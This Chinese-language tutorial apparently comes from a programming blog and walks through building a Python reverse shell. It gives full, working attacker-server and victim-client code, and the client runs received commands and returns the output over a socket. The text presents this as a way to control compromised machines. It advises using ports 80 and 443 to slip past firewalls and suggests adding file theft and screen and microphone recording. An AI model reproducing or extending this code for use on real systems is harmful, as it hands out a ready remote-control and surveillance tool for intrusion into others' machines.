本文教你使用可以执行远程 shell 命令并将结果发送回服务器的套接字在 Python 中构建反向 shell,以及Python创建反向Shell示例。
介绍
有很多方法可以控制受感染的系统,一种常见的方法是获得交互式 shell 访问权限,它使你能够尝试获得对操作系统的完全控制。但是,大多数基本防火墙都会阻止直接远程连接。绕过这个的方法之一是使用反向shell。
如何在Python中创建反向Shell?反向 shell是执行本地cmd.exe(对于 Windows)或bash/zsh(对于 Unix-Like)命令并将输出发送到远程机器的程序。使用反向shell,目标机器发起与攻击者机器的连接,攻击者的机器侦听指定端口上的传入连接,这将绕过防火墙。
Python如何创建反向Shell?我们将要实现的代码的基本思想是攻击者的机器将继续侦听连接,一旦客户端(或目标机器)连接,服务器将向目标机器发送 shell 命令并期待输出结果。
相关: 如何使用 hashlib 在 Python 中使用哈希算法。
服务器端
首先,让我们从服务器开始(攻击者的代码):
import socket
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
SEPARATOR = "<sep>"
# create a socket object
s = socket.socket()
请注意,我已用作0.0.0.0
服务器 IP 地址,这意味着本地计算机上的所有 IPv4 地址。你可能想知道,为什么我们不只使用我们的本地 IP 地址localhost
or 127.0.0.1
?好吧,如果服务器有两个 IP 地址,假设192.168.1.101
在一个网络10.0.1.1
上,另一个是,并且服务器侦听0.0.0.0
,那么这两个 IP 都可以访问它。
然后我们指定了一些变量并启动了 TCP 套接字。注意我用5003
的TCP端口,可以随意选择1024以上的任何端口,只要确保它没有被使用,你应该在两端(即服务器和客户端)使用它。
但是,恶意反向shell通常使用流行的端口80(即htt p)或443(即https),这将允许它绕过目标客户端的防火墙限制,请随意更改并尝试!
如何在Python中创建反向Shell?现在让我们将刚刚创建的套接字绑定到我们的 IP 地址和端口:
# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
Python创建反向Shell示例 - 监听连接:
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
如果任何客户端尝试连接到服务器,我们需要接受它:
# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
accept()函数等待传入的连接并返回一个表示连接的新套接字(client_socket)和客户端的地址(IP 和端口)。
现在只有当用户连接到服务器时才会执行以下代码,让我们从客户端接收包含客户端当前工作目录的消息:
# receiving the current working directory of the client
cwd = client_socket.recv(BUFFER_SIZE).decode()
print("[+] Current working directory:", cwd)
请注意,我们需要在发送之前将消息编码为字节,并且我们必须使用client_socket
而不是服务器套接字发送消息。
Python如何创建反向Shell?现在让我们开始我们的主循环,它发送 shell 命令并检索结果并打印它们:
while True:
# get the command from prompt
command = input(f"{cwd} $> ")
if not command.strip():
# empty command
continue
# send the command to the client
client_socket.send(command.encode())
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# retrieve command results
output = client_socket.recv(BUFFER_SIZE).decode()
# split command output and current directory
results, cwd = output.split(SEPARATOR)
# print output
print(results)
在上面的代码中,我们向服务器用户(即攻击者)提示他想要在客户端上执行的命令,我们将该命令发送到客户端并期望命令的输出将其打印到控制台。
请注意,我们将输出拆分为命令结果和当前工作目录,这是因为客户端将在单个发送操作中发送这两条消息。
如果命令是"exit",则退出循环并关闭连接。
相关: 如何在 Python 中制作聊天应用程序。
客户端
Python创建反向Shell示例:现在来看看客户端的代码,打开一个新文件,写:
import socket
import os
import subprocess
import sys
SERVER_HOST = sys.argv[1]
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, feel free to increase
# separator string for sending 2 messages in one go
SEPARATOR = "<sep>"
如何在Python中创建反向Shell?上面,我们设置SERVER_HOST
要从命令行参数传递,这是服务器机器的 IP 或主机。如果你在本地网络上,那么你应该通过ipconfig
在 Windows 和ifconfig
Linux上使用该命令来了解服务器的私有 IP 。
请注意,如果你在同一台机器上测试两个代码,则可以将 设置SERVER_HOST
为127.0.0.1
,它会正常工作。
让我们创建套接字并连接到服务器:
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
请记住,服务器在连接后期望客户端的当前工作目录,让我们发送它:
# get the current directory
cwd = os.getcwd()
s.send(cwd.encode())
我们使用了module 中的getcwd()
函数,这个函数返回当前的工作目录。例如,如果你在桌面中执行此代码,它将返回桌面的绝对路径。os
Python创建反向Shell示例 - 进入主循环,我们首先从服务器接收命令,执行它并将结果发回,这是它的代码:
while True:
# receive the command from the server
command = s.recv(BUFFER_SIZE).decode()
splited_command = command.split()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
if splited_command[0].lower() == "cd":
# cd command, change directory
try:
os.chdir(' '.join(splited_command[1:]))
except FileNotFoundError as e:
# if there is an error, set as the output
output = str(e)
else:
# if operation is successful, empty message
output = ""
else:
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# get the current working directory as output
cwd = os.getcwd()
# send the results back to the server
message = f"{output}{SEPARATOR}{cwd}"
s.send(message.encode())
# close client connection
s.close()
Python如何创建反向Shell?首先,我们使用recv()
socket对象上的方法从服务器接收命令,然后我们检查它是否是cd
命令,如果是这种情况,那么我们使用该os.chdir()
函数来更改目录,那是因为subprocess.getoutput()
产生了自己的进程并且不会更改当前 Python 进程的目录。
之后,如果它不是cd
命令,那么我们只需使用 subprocess.getoutput()
函数来获取执行命令的输出。
最后,我们准备包含命令输出和工作目录的消息,然后发送它。
结果
如何在Python中创建反向Shell?好的,我们已经为双方编写了代码,让我们运行它们。首先,你需要运行服务器来侦听该端口,然后运行客户端。
下面是我启动服务器并实例化新的客户端连接,然后运行演示dir
命令时的屏幕截图:
这是我在客户端的运行命令:
请注意,我127.0.0.1
以前在同一台机器上运行双方,但你可以在本地网络或 Internet 中远程执行。
结论
Python如何创建反向Shell?以下是扩展该代码的一些想法:
- 使用threading内置模块使服务器能够同时接受多个客户端连接。
- 添加使用psutil第三方模块获取系统和硬件信息的自定义命令,请查看本教程:如何在 Python 中获取硬件和系统信息。
- 添加下载和上传命令以从/向客户端下载和上传文件,请查看:How to Transfer Files in the Network using Sockets in Python。
- 制作自定义命令来录制客户端的屏幕,然后下载录制的视频,本教程可以帮助:如何在 Python 中制作屏幕录制器。
- 添加另一个命令以在他/她的默认麦克风上录制客户端的音频,请查看本教程。
- 还有很多 !有无限可能,这里唯一的限制就是你的想象力!
此外,Linux 中有一个实用程序netcat
,你可以在其中构建反向 shell,请查看本教程,它可以帮助你在 Linux 中设置反向 shell。
总而言之,反向 shell 通常并不意味着成为恶意代码,它可以用于合法目的,例如,你可以使用它来远程管理你的机器。